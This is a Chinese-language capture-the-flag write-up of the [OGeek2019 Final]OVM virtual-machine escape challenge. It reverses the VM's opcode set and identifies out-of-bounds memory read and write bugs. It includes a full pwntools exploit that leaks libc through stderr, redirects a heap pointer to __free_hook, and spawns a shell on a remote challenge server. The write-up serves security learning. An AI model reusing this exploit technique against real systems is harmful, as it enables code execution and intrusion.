[OGeek2019 Final]OVM(简易虚拟机逃逸)
目录
- 前言:
- 前置知识:
- 例题:[OGeek2019 Final]OVM
- 程序分析:
- 漏洞点:两个数组越界
- 利用思路:
- exp:
前言:
对vm pwn这类题型还没怎么了解,找了一道[OGeek2019 Final]OVM,入个门先
前置知识:
先引用一波https://www.anquanke.com/post/id/208450#h2-1
虚拟机保护的题目相比于普通的pwn题逆向量要大许多,需要分析出分析出不同的opcode的功能再从中找出漏洞,实际上,vmpwn的大部分工作量都在逆向中,能分析出虚拟指令集的功能实现,要做出这道题也比较容易了。
1.虚拟机保护技术 所谓虚拟机保护技术,是指将代码翻译为机器和人都无法识别的一串伪代码字节流;在具体执行时再对这些伪代码进行一一翻译解释,逐步还原为原始代码并执行。这段用于翻译伪代码并负责具体执行的子程序就叫作虚拟机VM(好似一个抽象的CPU)。它以一个函数的形式存在,函数的参数就是字节码的内存地址。2.VStartVM 虚拟机的入口函数,对虚拟机环境进行初始化
3.VMDispather 解释opcode,并选择对应的Handler函数执行,当Handler执行完后会跳回这里,形成一个循环
4.opcode 程序可执行代码转换成的操作码
然后基本上漏洞都是数组越界,解题的话要知道opcode,对指令要逐个逆向解析。
例题:[OGeek2019 Final]OVM
程序分析:
保护就canary没开
程序先要求输入pc,sp,codesize,
然后会要求我们输入code命令,循环输入次数是codesize的值
循环完我们的指令后,会读指令,执行指令,结束后有往bss段的comment里存的堆的地址里读0x8c个字节,最后free掉堆的内存
重点看这个execute这个执行指令的函数
从这里可以判断出这个指令的格式
opcode |目的寄存器| 寄存器1 | 寄存器2
后续的代码就是根据opcode来执行指定操作
解析后大致是这样
mov reg, src2 0x10 : reg[dest] = src2
mov reg, 0 0x20 : reg[dest] = 0
mov mem, reg 0x30 : reg[dest] = memory[reg[src2]]
mov reg, mem 0x40 : memory[reg[src2]] = reg[dest]
push reg 0x50 : stack[result] = reg[dest]
pop reg 0x60 : reg[dest] = stack[reg[13]]
add 0x70 : reg[dest] = reg[src2] + reg[src1]
sub 0x80 : reg[dest] = reg[src1] - reg[src2]
and 0x90 : reg[dest] = reg[src2] & reg[src1]
or 0xA0 : reg[dest] = reg[src2] | reg[src1]
^ 0xB0 : reg[dest] = reg[src2] ^ reg[src1]
left 0xC0 : reg[dest] = reg[src1] << reg[src2]
right 0xD0 : reg[dest] = reg[src1] >> reg[src2]0xFF : (exit or print) if(reg[13] != 0) print oper
漏洞点:两个数组越界
0x30里的赋值内存操作,memory的index没有任何检测,可以数组越界,
配合0xff的print功能可以造成地址泄露
离memory最近的就是stderr,可以填负数然后print泄露stderr(数组越界常规操作了)
然后0x40 是往地址里写值的操作,也是没有任何检测,可以任意地址写
值得注意的是寄存器都是4字节的,要分两次来读写
利用思路:
1.先任意读把stderr的地址,分高低地址读到两个寄存器中
2.gdb调试出freehook于stderr的固定偏移,我们改存stderr低地址的寄存器+固定偏移就是freehook的低地址
3.任意写把bss段comment存的堆地址改写为free_hook地址-8
4.执行print功能泄露地址,算出libc_base,得出system
5.接着的read会往free_hook地址-8读0x8c,我们只要填’/bin/sh\x00’+p64(system),
最后free时就会执行system(’/bin/sh’)
(exp里有寄存器的具体解析,然后指令数还可以短,不过也没必要啦)
exp:
from pwn import *
local_file = './pwn'
local_libc = '/lib/x86_64-linux-gnu/libc.so.6'
remote_libc = './libc-2.23.so'
select = 1
if select == 0:r = process(local_file)libc = ELF(local_libc)
elif select == 1:r = remote('node4.buuoj.cn',25244 )libc = ELF(remote_libc)
else:r = gdb.debug(local_file)libc = ELF(local_libc)
elf = ELF(local_file)
context.log_level = 'debug'
context.arch = elf.arch
se = lambda data :r.send(data)
sa = lambda delim,data :r.sendafter(delim, data)
sl = lambda data :r.sendline(data)
sla = lambda delim,data :r.sendlineafter(delim, data)
sea = lambda delim,data :r.sendafter(delim, data)
rc = lambda numb=4096 :r.recv(numb)
rl = lambda :r.recvline()
ru = lambda delims :r.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
info = lambda tag, addr :r.info(tag + ': {:#x}'.format(addr))
def debug(cmd=''):gdb.attach(r,cmd)
#------------------------
def opcode(code, dst, op1, op2):res = code<<24res += dst<<16res += op1<<8res += op2return str(res)
#---------------------------
'''
mov reg, src2 0x10 : reg[dest] = src2
mov reg, 0 0x20 : reg[dest] = 0
mov mem, reg 0x30 : reg[dest] = memory[reg[src2]]
mov reg, mem 0x40 : memory[reg[src2]] = reg[dest]
push reg 0x50 : stack[result] = reg[dest]
pop reg 0x60 : reg[dest] = stack[reg[13]]
add 0x70 : reg[dest] = reg[src2] + reg[src1]
sub 0x80 : reg[dest] = reg[src1] - reg[src2]
and 0x90 : reg[dest] = reg[src2] & reg[src1]
or 0xA0 : reg[dest] = reg[src2] | reg[src1]
^ 0xB0 : reg[dest] = reg[src2] ^ reg[src1]
left 0xC0 : reg[dest] = reg[src1] << reg[src2]
right 0xD0 : reg[dest] = reg[src1] >> reg[src2]0xFF : (exit or print) if(reg[13] != 0) print oper
'''
sla('PCPC: ','0')
sla('SP: ','1')
sla('CODE SIZE: ',str(21))
ru('CODE: ')
#-------leak_stderr----------
sl(opcode(0x10,0,0,26)) #reg[0]=26
sl(opcode(0x80,1,1,0)) #reg[1]=26-reg[0]=-26
sl(opcode(0x30,2,0,1)) #reg[2]=memery[reg[1]]=low stderr
sl(opcode(0x10,0,0,25)) #reg[0]=25
sl(opcode(0x80,1,1,0)) #reg[1]=26-reg[0]=-25
sl(opcode(0x30,3,0,1)) #reg[3]=memery[reg[1]]=high stderr
#gdb: __free_hook-stderr=0x7ffff7dcf8e8-0x7ffff7dce840=0x10a8
#--------get 0x10a8-8---------
sl(opcode(0x10,0,0,1)) #reg[0]=1
sl(opcode(0x10,1,0,12)) #reg[1]=12
sl(opcode(0xc0,4,0,1)) #reg[4]=reg[0]<<reg[1]=1<<12=0x1000
sl(opcode(0x10,5,0,0xa0))#reg[5]=0xa0
sl(opcode(0x70,6,4,5)) #reg[6]=reg[5]+reg[4]=0x10a0
sl(opcode(0x70,4,6,2)) #reg[4]=reg[6]+reg[2]=free_hook-8 now 234 is addr,not change
#--------write_comment=free_hook-8----------------
#(memory-comment)/4=8
sl(opcode(0x10,0,0,8)) #reg[0]=8
sl(opcode(0x10,1,0,0)) #reg[1]=0
sl(opcode(0x80,5,1,0)) #reg[5]=reg[1]-reg[0]=0-8=-8
sl(opcode(0x40,4,0,5)) #memory[reg[5]]=memory[-8]=comment=reg[4]=low free_hook-8
sl(opcode(0x10,0,0,7)) #reg[0]=7
sl(opcode(0x10,1,0,0)) #reg[1]=0
sl(opcode(0x80,5,1,0)) #reg[5]=reg[1]-reg[0]=0-7=-7
sl(opcode(0x40,3,0,5)) #memory[reg[5]]=memory[-7]=comment=reg[3]=high stderr=high free_hook
sl(opcode(0xff,0,0,0))
#----------------------------------------------------
ru('R3: ')
high_addr=int(rc(4),16)
info('high_addr',high_addr)
ru('R4: ')
low_addr=int(rc(8),16)
info('low_addr',low_addr)
free_hook=high_addr*(2**32)+low_addr+8
libc_base=free_hook-libc.sym['__free_hook']
info('libc_base',libc_base)
system=libc_base+libc.sym['system']
sl('/bin/sh\x00'+p64(system))
r.interactive()
[OGeek2019 Final]OVM(简易虚拟机逃逸)相关推荐
- CVE-2020-2905: VirtualBox 虚拟机逃逸漏洞通告
CVE-2020-2905: VirtualBox 虚拟机逃逸漏洞通告 360-CERT [360CERT](javascript:void(0)
- 逃离云端“母体”——虚拟机逃逸
云计算时代已然到来,计算能力已经如同水和电一般,能够被我们随时使用,按需按量使用.依托于公有云设施,你只需轻松点击鼠标,即可购买处理器.内存.硬盘存储.网络带宽等资源,还可以伴随着需求的变化随时灵活调 ...
- vmware漏洞之三——Vmware虚拟机逃逸漏洞(CVE-2017-4901)Exploit代码分析与利用
本文简单分析了代码的结构.有助于理解. 转:http://www.freebuf.com/news/141442.html 0×01 事件分析 2017年7月19 unamer在其github上发布了 ...
- 【虚拟机逃逸大法】这个程序自动从虚拟机里跑出来了!快阻止它,不然你系统要没!
误入陷阱 夜黑风高,两个不速之客又一次来到了一片新的土地. "老二,总算进来了,咱们依计行事,你去扫描硬盘上的文件,看看有没有有价值的,我去修改开机启动项,把咱们加进去" &quo ...
- Java虚拟机-逃逸分析(Escape Analysis)和栈上分配
我们都知道Java中的对象默认都是分配到堆上,在调用栈中,只保存了对象的指针.当对象不再使用后,需要依靠GC来遍历引用树并回收内存.如果堆中对象数量太多,回收对象还有整理内存,都会会带来时间上的消耗, ...
- 一道题目入门VMpwn
一道题目学习VMpwn 原理 VMpwn 程序通常都是模拟一套虚拟机,对用户输入的opcode进行解析,模拟程序的执行,故VMpwn常见设计如下: 初始化分配模拟寄存器空间(reg) 初始化分配模拟栈 ...
- 【八芒星计划】 VM PWN
这篇用来记录VM PWN 先申明本篇文章资料来源: https://blog.csdn.net/weixin_44145820/article/details/106600382 https://ww ...
- buuoj Pwn writeup 166-170
166 picoctf_2018_echo back 因为只有一次printf的机会,RELRO半开,不能覆盖fini,我们可以把puts改成vuln来制造循环,再次把printf改成system,来 ...
- CentOS6.9 ARM虚拟机扩容系统磁盘
由于扩容磁盘的操作非同小可,一旦哪一步出现问题,就会导致分区损坏,数据丢失等一系列严重的问题,因此建议:在进行虚拟机分区扩容之前,一定要备份重要数据文件,并且先在测试机上验证以下步骤,再应用于您的生产 ...
- docker逃逸 从Play-with-Docker容器逃逸到Docker主机
导言 Play-with-Docker(PWD),即Docker的游乐场网站,专门供初学者迅速上手各种Docker命令.实际上,该网站是建立在许多Docker主机上的,每个主机运行多个供初学者使用的容 ...
最新文章
- 只需5行代码,手把手教你快速实现图像分割,代码逐行详解!
- flutter能开发游戏吗_游戏开发者都擅长“打自己的游戏”吗?
- 飞桨第三课2020.4.2
- 12种提升视频质量的方法
- tilecache2.11在windows apache2.22安装部署
- Jacobian vector products(转载+翻译+代码+解读)
- 多项式拟合lm_R语言多项式回归
- Windows遇到ERR_NETWORK_ACCESS_DENIED处理方案
- spring容器的懒加载
- --initialize specified but the data directory has files in it. Aborting.
- 最新计算机操作员高级试题,计算机操作员高级考试试题
- Linux6新建分区,centos6中添加一块新的硬盘并分区的方法介绍
- linux 中写一个脚本 定时删除缓存任务,并创建相关文件,Linux使用shell脚本定时删除历史日志文件...
- 统计学的Python实现-013:频度分布表
- 桌面在计算机哪个文件,计算机中win7系统桌面文件在c盘哪个文件夹
- 孤独最高境界:这款单人VR游戏竟能带来多人组队体验
- 阿里P7级别面试经验总结,完整版开放下载
- 如何设计过压保护电路?
- 火星人的耳机(Martian Headsets)
- Nginx证书配置:cer文件和jks文件转nginx证书.crt和key文件
热门文章
- C++ 控制台编译时显示‘ ld returned 1 exit status’
- 由三个点坐标判断三个点能否组成三角形模板(自用,客官可取)
- java okhhtp下载学信网学籍信息
- 频繁gc是什么意思_CPU飙高,频繁GC,怎么排查?
- python ttk separator_Python GUI编程(Tkinter)
- com.mysql.jdbc.exceptions.jdbc4.MySQLSyntaxErrorException: Incorrect database name ‘dongdong_1
- 磁盘被写保护怎么解除
- centos7 部署安装SRS流媒体服务器
- 刘宇凡:海子,一个孤独的灵魂诗人
- 74HC573锁存器